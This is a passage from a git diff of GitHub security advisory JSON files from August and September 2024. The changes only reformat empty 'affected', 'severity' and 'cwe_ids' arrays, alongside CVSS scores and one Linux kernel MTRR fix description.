a/advisories/unreviewed/2024/08/GHSA-7pwv-g7hj-39pr/GHSA-7pwv-g7hj-39pr.json +++ b/advisories/unreviewed/2024/08/GHSA-7pwv-g7hj-39pr/GHSA-7pwv-g7hj-39pr.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-7rfp-vjgq-5q3f/GHSA-7rfp-vjgq-5q3f.json b/advisories/unreviewed/2024/08/GHSA-7rfp-vjgq-5q3f/GHSA-7rfp-vjgq-5q3f.json index 15a694cbeb5..b588dc204ee 100644 --- a/advisories/unreviewed/2024/08/GHSA-7rfp-vjgq-5q3f/GHSA-7rfp-vjgq-5q3f.json +++ b/advisories/unreviewed/2024/08/GHSA-7rfp-vjgq-5q3f/GHSA-7rfp-vjgq-5q3f.json @@ -17,9 +17,7 @@ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-87qc-q3w7-7m8w/GHSA-87qc-q3w7-7m8w.json b/advisories/unreviewed/2024/08/GHSA-87qc-q3w7-7m8w/GHSA-87qc-q3w7-7m8w.json index b71a678893a..7a9926470a2 100644 --- a/advisories/unreviewed/2024/08/GHSA-87qc-q3w7-7m8w/GHSA-87qc-q3w7-7m8w.json +++ b/advisories/unreviewed/2024/08/GHSA-87qc-q3w7-7m8w/GHSA-87qc-q3w7-7m8w.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-8pcq-v58x-j36p/GHSA-8pcq-v58x-j36p.json b/advisories/unreviewed/2024/08/GHSA-8pcq-v58x-j36p/GHSA-8pcq-v58x-j36p.json index 08e97b40191..30c224007fc 100644 --- a/advisories/unreviewed/2024/08/GHSA-8pcq-v58x-j36p/GHSA-8pcq-v58x-j36p.json +++ b/advisories/unreviewed/2024/08/GHSA-8pcq-v58x-j36p/GHSA-8pcq-v58x-j36p.json @@ -17,9 +17,7 @@ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-8xww-2gcw-hq2q/GHSA-8xww-2gcw-hq2q.json b/advisories/unreviewed/2024/08/GHSA-8xww-2gcw-hq2q/GHSA-8xww-2gcw-hq2q.json index b073215fc68..57b278365a4 100644 --- a/advisories/unreviewed/2024/08/GHSA-8xww-2gcw-hq2q/GHSA-8xww-2gcw-hq2q.json +++ b/advisories/unreviewed/2024/08/GHSA-8xww-2gcw-hq2q/GHSA-8xww-2gcw-hq2q.json @@ -17,9 +17,7 @@ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-9759-w49c-9j8f/GHSA-9759-w49c-9j8f.json b/advisories/unreviewed/2024/08/GHSA-9759-w49c-9j8f/GHSA-9759-w49c-9j8f.json index 67ebc6c82cc..49caaba215a 100644 --- a/advisories/unreviewed/2024/08/GHSA-9759-w49c-9j8f/GHSA-9759-w49c-9j8f.json +++ b/advisories/unreviewed/2024/08/GHSA-9759-w49c-9j8f/GHSA-9759-w49c-9j8f.json @@ -17,9 +17,7 @@ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-cmm9-5j5g-mhq5/GHSA-cmm9-5j5g-mhq5.json b/advisories/unreviewed/2024/08/GHSA-cmm9-5j5g-mhq5/GHSA-cmm9-5j5g-mhq5.json index c54c70adbac..ede465bd60f 100644 --- a/advisories/unreviewed/2024/08/GHSA-cmm9-5j5g-mhq5/GHSA-cmm9-5j5g-mhq5.json +++ b/advisories/unreviewed/2024/08/GHSA-cmm9-5j5g-mhq5/GHSA-cmm9-5j5g-mhq5.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-cq7c-c9r8-c439/GHSA-cq7c-c9r8-c439.json b/advisories/unreviewed/2024/08/GHSA-cq7c-c9r8-c439/GHSA-cq7c-c9r8-c439.json index 05ce3b53507..aa176f100e6 100644 --- a/advisories/unreviewed/2024/08/GHSA-cq7c-c9r8-c439/GHSA-cq7c-c9r8-c439.json +++ b/advisories/unreviewed/2024/08/GHSA-cq7c-c9r8-c439/GHSA-cq7c-c9r8-c439.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-cw5c-5w4g-ff67/GHSA-cw5c-5w4g-ff67.json b/advisories/unreviewed/2024/08/GHSA-cw5c-5w4g-ff67/GHSA-cw5c-5w4g-ff67.json index 86c04a6fec5..8c788471c33 100644 --- a/advisories/unreviewed/2024/08/GHSA-cw5c-5w4g-ff67/GHSA-cw5c-5w4g-ff67.json +++ b/advisories/unreviewed/2024/08/GHSA-cw5c-5w4g-ff67/GHSA-cw5c-5w4g-ff67.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-f2jj-rmrg-9rjx/GHSA-f2jj-rmrg-9rjx.json b/advisories/unreviewed/2024/08/GHSA-f2jj-rmrg-9rjx/GHSA-f2jj-rmrg-9rjx.json index 75e5aa6f4a7..384df830d3d 100644 --- a/advisories/unreviewed/2024/08/GHSA-f2jj-rmrg-9rjx/GHSA-f2jj-rmrg-9rjx.json +++ b/advisories/unreviewed/2024/08/GHSA-f2jj-rmrg-9rjx/GHSA-f2jj-rmrg-9rjx.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-fcrv-q4xw-6crp/GHSA-fcrv-q4xw-6crp.json b/advisories/unreviewed/2024/08/GHSA-fcrv-q4xw-6crp/GHSA-fcrv-q4xw-6crp.json index c94af198e88..be8d95aa423 100644 --- a/advisories/unreviewed/2024/08/GHSA-fcrv-q4xw-6crp/GHSA-fcrv-q4xw-6crp.json +++ b/advisories/unreviewed/2024/08/GHSA-fcrv-q4xw-6crp/GHSA-fcrv-q4xw-6crp.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-j3xp-78w6-p4vh/GHSA-j3xp-78w6-p4vh.json b/advisories/unreviewed/2024/08/GHSA-j3xp-78w6-p4vh/GHSA-j3xp-78w6-p4vh.json index 73f4ea154c8..38c63523413 100644 --- a/advisories/unreviewed/2024/08/GHSA-j3xp-78w6-p4vh/GHSA-j3xp-78w6-p4vh.json +++ b/advisories/unreviewed/2024/08/GHSA-j3xp-78w6-p4vh/GHSA-j3xp-78w6-p4vh.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-j665-mqhh-jvh2/GHSA-j665-mqhh-jvh2.json b/advisories/unreviewed/2024/08/GHSA-j665-mqhh-jvh2/GHSA-j665-mqhh-jvh2.json index 982c1ffc62c..cb55ec45bf3 100644 --- a/advisories/unreviewed/2024/08/GHSA-j665-mqhh-jvh2/GHSA-j665-mqhh-jvh2.json +++ b/advisories/unreviewed/2024/08/GHSA-j665-mqhh-jvh2/GHSA-j665-mqhh-jvh2.json @@ -17,9 +17,7 @@ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-m7px-6529-pxp2/GHSA-m7px-6529-pxp2.json b/advisories/unreviewed/2024/08/GHSA-m7px-6529-pxp2/GHSA-m7px-6529-pxp2.json index 1aaaa1e3118..1d48f8a2497 100644 --- a/advisories/unreviewed/2024/08/GHSA-m7px-6529-pxp2/GHSA-m7px-6529-pxp2.json +++ b/advisories/unreviewed/2024/08/GHSA-m7px-6529-pxp2/GHSA-m7px-6529-pxp2.json @@ -17,9 +17,7 @@ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-p7fr-35j6-p64g/GHSA-p7fr-35j6-p64g.json b/advisories/unreviewed/2024/08/GHSA-p7fr-35j6-p64g/GHSA-p7fr-35j6-p64g.json index a3b3a5eb40f..aff43056085 100644 --- a/advisories/unreviewed/2024/08/GHSA-p7fr-35j6-p64g/GHSA-p7fr-35j6-p64g.json +++ b/advisories/unreviewed/2024/08/GHSA-p7fr-35j6-p64g/GHSA-p7fr-35j6-p64g.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-pmv2-3483-4jqw/GHSA-pmv2-3483-4jqw.json b/advisories/unreviewed/2024/08/GHSA-pmv2-3483-4jqw/GHSA-pmv2-3483-4jqw.json index 6ad25f19f8a..24079ea8947 100644 --- a/advisories/unreviewed/2024/08/GHSA-pmv2-3483-4jqw/GHSA-pmv2-3483-4jqw.json +++ b/advisories/unreviewed/2024/08/GHSA-pmv2-3483-4jqw/GHSA-pmv2-3483-4jqw.json @@ -17,9 +17,7 @@ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-q2fm-rxrg-hgpw/GHSA-q2fm-rxrg-hgpw.json b/advisories/unreviewed/2024/08/GHSA-q2fm-rxrg-hgpw/GHSA-q2fm-rxrg-hgpw.json index e77ab802abe..542e21b0343 100644 --- a/advisories/unreviewed/2024/08/GHSA-q2fm-rxrg-hgpw/GHSA-q2fm-rxrg-hgpw.json +++ b/advisories/unreviewed/2024/08/GHSA-q2fm-rxrg-hgpw/GHSA-q2fm-rxrg-hgpw.json @@ -17,9 +17,7 @@ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-q98g-hxg3-268c/GHSA-q98g-hxg3-268c.json b/advisories/unreviewed/2024/08/GHSA-q98g-hxg3-268c/GHSA-q98g-hxg3-268c.json index 8a30dafdf51..1c5101c020e 100644 --- a/advisories/unreviewed/2024/08/GHSA-q98g-hxg3-268c/GHSA-q98g-hxg3-268c.json +++ b/advisories/unreviewed/2024/08/GHSA-q98g-hxg3-268c/GHSA-q98g-hxg3-268c.json @@ -17,9 +17,7 @@ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:N/R:U/V:X/RE:L/U:X" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-r7gp-vvfr-gpr6/GHSA-r7gp-vvfr-gpr6.json b/advisories/unreviewed/2024/08/GHSA-r7gp-vvfr-gpr6/GHSA-r7gp-vvfr-gpr6.json index f6687ed6fef..b9e0dbe8888 100644 --- a/advisories/unreviewed/2024/08/GHSA-r7gp-vvfr-gpr6/GHSA-r7gp-vvfr-gpr6.json +++ b/advisories/unreviewed/2024/08/GHSA-r7gp-vvfr-gpr6/GHSA-r7gp-vvfr-gpr6.json @@ -17,9 +17,7 @@ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-v85v-4g2g-qmj9/GHSA-v85v-4g2g-qmj9.json b/advisories/unreviewed/2024/08/GHSA-v85v-4g2g-qmj9/GHSA-v85v-4g2g-qmj9.json index 0309be5a562..313993c06c0 100644 --- a/advisories/unreviewed/2024/08/GHSA-v85v-4g2g-qmj9/GHSA-v85v-4g2g-qmj9.json +++ b/advisories/unreviewed/2024/08/GHSA-v85v-4g2g-qmj9/GHSA-v85v-4g2g-qmj9.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-vvg9-rfgg-p242/GHSA-vvg9-rfgg-p242.json b/advisories/unreviewed/2024/08/GHSA-vvg9-rfgg-p242/GHSA-vvg9-rfgg-p242.json index 032a3827c12..3b34bb0438c 100644 --- a/advisories/unreviewed/2024/08/GHSA-vvg9-rfgg-p242/GHSA-vvg9-rfgg-p242.json +++ b/advisories/unreviewed/2024/08/GHSA-vvg9-rfgg-p242/GHSA-vvg9-rfgg-p242.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-x37r-vj3m-8vc5/GHSA-x37r-vj3m-8vc5.json b/advisories/unreviewed/2024/08/GHSA-x37r-vj3m-8vc5/GHSA-x37r-vj3m-8vc5.json index 809683e42fb..2ebcf600127 100644 --- a/advisories/unreviewed/2024/08/GHSA-x37r-vj3m-8vc5/GHSA-x37r-vj3m-8vc5.json +++ b/advisories/unreviewed/2024/08/GHSA-x37r-vj3m-8vc5/GHSA-x37r-vj3m-8vc5.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/08/GHSA-xxgp-66vq-x6cm/GHSA-xxgp-66vq-x6cm.json b/advisories/unreviewed/2024/08/GHSA-xxgp-66vq-x6cm/GHSA-xxgp-66vq-x6cm.json index 3653b4a54bb..078eef37732 100644 --- a/advisories/unreviewed/2024/08/GHSA-xxgp-66vq-x6cm/GHSA-xxgp-66vq-x6cm.json +++ b/advisories/unreviewed/2024/08/GHSA-xxgp-66vq-x6cm/GHSA-xxgp-66vq-x6cm.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/09/GHSA-25f2-q5r6-v2h7/GHSA-25f2-q5r6-v2h7.json b/advisories/unreviewed/2024/09/GHSA-25f2-q5r6-v2h7/GHSA-25f2-q5r6-v2h7.json index c047185e57b..8f475f4b5a6 100644 --- a/advisories/unreviewed/2024/09/GHSA-25f2-q5r6-v2h7/GHSA-25f2-q5r6-v2h7.json +++ b/advisories/unreviewed/2024/09/GHSA-25f2-q5r6-v2h7/GHSA-25f2-q5r6-v2h7.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/09/GHSA-2gjh-m4gq-rxrh/GHSA-2gjh-m4gq-rxrh.json b/advisories/unreviewed/2024/09/GHSA-2gjh-m4gq-rxrh/GHSA-2gjh-m4gq-rxrh.json index 66cdc3d3f9b..00b242993e8 100644 --- a/advisories/unreviewed/2024/09/GHSA-2gjh-m4gq-rxrh/GHSA-2gjh-m4gq-rxrh.json +++ b/advisories/unreviewed/2024/09/GHSA-2gjh-m4gq-rxrh/GHSA-2gjh-m4gq-rxrh.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/09/GHSA-35gh-gpw3-mx2q/GHSA-35gh-gpw3-mx2q.json b/advisories/unreviewed/2024/09/GHSA-35gh-gpw3-mx2q/GHSA-35gh-gpw3-mx2q.json index 0c35e6dfbde..bc48b28c8b2 100644 --- a/advisories/unreviewed/2024/09/GHSA-35gh-gpw3-mx2q/GHSA-35gh-gpw3-mx2q.json +++ b/advisories/unreviewed/2024/09/GHSA-35gh-gpw3-mx2q/GHSA-35gh-gpw3-mx2q.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/09/GHSA-3c9v-5fr8-87x5/GHSA-3c9v-5fr8-87x5.json b/advisories/unreviewed/2024/09/GHSA-3c9v-5fr8-87x5/GHSA-3c9v-5fr8-87x5.json index 5a1d571b5d5..a9361ea1c0f 100644 --- a/advisories/unreviewed/2024/09/GHSA-3c9v-5fr8-87x5/GHSA-3c9v-5fr8-87x5.json +++ b/advisories/unreviewed/2024/09/GHSA-3c9v-5fr8-87x5/GHSA-3c9v-5fr8-87x5.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", @@ -27,9 +25,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2024/09/GHSA-3xfv-v3m6-pcv2/GHSA-3xfv-v3m6-pcv2.json b/advisories/unreviewed/2024/09/GHSA-3xfv-v3m6-pcv2/GHSA-3xfv-v3m6-pcv2.json index c7a428dda12..a382655345c 100644 --- a/advisories/unreviewed/2024/09/GHSA-3xfv-v3m6-pcv2/GHSA-3xfv-v3m6-pcv2.json +++ b/advisories/unreviewed/2024/09/GHSA-3xfv-v3m6-pcv2/GHSA-3xfv-v3m6-pcv2.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/09/GHSA-475p-8r27-f6vh/GHSA-475p-8r27-f6vh.json b/advisories/unreviewed/2024/09/GHSA-475p-8r27-f6vh/GHSA-475p-8r27-f6vh.json index 3398f225f0c..83382b9686f 100644 --- a/advisories/unreviewed/2024/09/GHSA-475p-8r27-f6vh/GHSA-475p-8r27-f6vh.json +++ b/advisories/unreviewed/2024/09/GHSA-475p-8r27-f6vh/GHSA-475p-8r27-f6vh.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/09/GHSA-6fhp-x3v7-v4f9/GHSA-6fhp-x3v7-v4f9.json b/advisories/unreviewed/2024/09/GHSA-6fhp-x3v7-v4f9/GHSA-6fhp-x3v7-v4f9.json index 790729cc013..6fd0d6d3a60 100644 --- a/advisories/unreviewed/2024/09/GHSA-6fhp-x3v7-v4f9/GHSA-6fhp-x3v7-v4f9.json +++ b/advisories/unreviewed/2024/09/GHSA-6fhp-x3v7-v4f9/GHSA-6fhp-x3v7-v4f9.json @@ -17,9 +17,7 @@ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/09/GHSA-6mq8-52vx-mwcm/GHSA-6mq8-52vx-mwcm.json b/advisories/unreviewed/2024/09/GHSA-6mq8-52vx-mwcm/GHSA-6mq8-52vx-mwcm.json index 787dbbebea6..6436d570c0b 100644 --- a/advisories/unreviewed/2024/09/GHSA-6mq8-52vx-mwcm/GHSA-6mq8-52vx-mwcm.json +++ b/advisories/unreviewed/2024/09/GHSA-6mq8-52vx-mwcm/GHSA-6mq8-52vx-mwcm.json @@ -17,9 +17,7 @@ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/09/GHSA-7p6j-4w59-cjvv/GHSA-7p6j-4w59-cjvv.json b/advisories/unreviewed/2024/09/GHSA-7p6j-4w59-cjvv/GHSA-7p6j-4w59-cjvv.json index 58d5fb49637..09a56e4cc68 100644 --- a/advisories/unreviewed/2024/09/GHSA-7p6j-4w59-cjvv/GHSA-7p6j-4w59-cjvv.json +++ b/advisories/unreviewed/2024/09/GHSA-7p6j-4w59-cjvv/GHSA-7p6j-4w59-cjvv.json @@ -7,12 +7,8 @@ "CVE-2024-44948" ], "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nx86/mtrr: Check if fixed MTRRs exist before saving them\n\nMTRRs have an obsolete fixed variant for fine grained caching control\nof the 640K-1MB region that uses separate MSRs. This fixed variant has\na separate capability bit in the MTRR capability MSR.\n\nSo far all x86 CPUs which support MTRR have this separate bit set, so it\nwent unnoticed that mtrr_save_state() does not check the capability bit\nbefore accessing the fixed MTRR MSRs.\n\nThough on a CPU that does not support the fixed MTRR capability this\nresults in a #GP. The #GP itself is harmless because the RDMSR fault is\nhandled gracefully, but results in a WARN_ON().\n\nAdd the missing capability check to prevent this.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -52,9 +48,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": null, "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2024/09/GHSA-7vv9-j3rm-r64c/GHSA-7vv9-j3rm-r64c.json b/advisories/unreviewed/2024/09/GHSA-7vv9-j3rm-r64c/GHSA-7vv9-j3rm-r64c.json index 04d8931d6b3..0d10848824e 100644 --- a/advisories/unreviewed/2024/09/GHSA-7vv9-j3rm-r64c/GHSA-7vv9-j3rm-r64c.json +++ b/advisories/unreviewed/2024/09/GHSA-7vv9-j3rm-r64c/GHSA-7vv9-j3rm-r64c.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/09/GHSA-8492-v5jh-m4r5/GHSA-8492-v5jh-m4r5.json b/advisories/unreviewed/2024/09/GHSA-8492-v5jh-m4r5/GHSA-8492-v5jh-m4r5.json index d7ee23f7523..e5cd1bddc4c 100644 --- a/advisories/unreviewed/2024/09/GHSA-8492-v5jh-m4r5/GHSA-8492-v5jh-m4r5.json +++ b/advisories/unreviewed/2024/09/GHSA-8492-v5jh-m4r5/GHSA-8492-v5jh-m4r5.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/09/GHSA-f5vg-6gfq-6587/GHSA-f5vg-6gfq-6587.json b/advisories/unreviewed/2024/09/GHSA-f5vg-6gfq-6587/GHSA-f5vg-6gfq-6587.json index 12d092786cd..7be4b197792 100644 --- a/advisories/unreviewed/2024/09/GHSA-f5vg-6gfq-6587/GHSA-f5vg-6gfq-6587.json +++ b/advisories/unreviewed/2024/09/GHSA-f5vg-6gfq-6587/GHSA-f5vg-6gfq-6587.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/09/GHSA-g766-256g-wqp4/GHSA-g766-256g-wqp4.json b/advisories/unreviewed/2024/09/GHSA-g766-256g-wqp4/GHSA-g766-256g-wqp4.json index d62adcabf37..cb0b5eb573f 100644 --- a/advisories/unreviewed/2024/09/GHSA-g766-256g-wqp4/GHSA-g766-256g-wqp4.json +++ b/advisories/unreviewed/2024/09/GHSA-g766-256g-wqp4/GHSA-g766-256g-wqp4.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/09/GHSA-hp6f-5xgc-789p/GHSA-hp6f-5xgc-789p.json b/advisories/unreviewed/2024/09/GHSA-hp6f-5xgc-789p/GHSA-hp6f-5xgc-789p.json index b2b464e614f..10e08287ab7 100644 --- a/advisories/unreviewed/2024/09/GHSA-hp6f-5xgc-789p/GHSA-hp6f-5xgc-789p.json +++ b/advisories/unreviewed/2024/09/GHSA-hp6f-5xgc-789p/GHSA-hp6f-5xgc-789p.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git 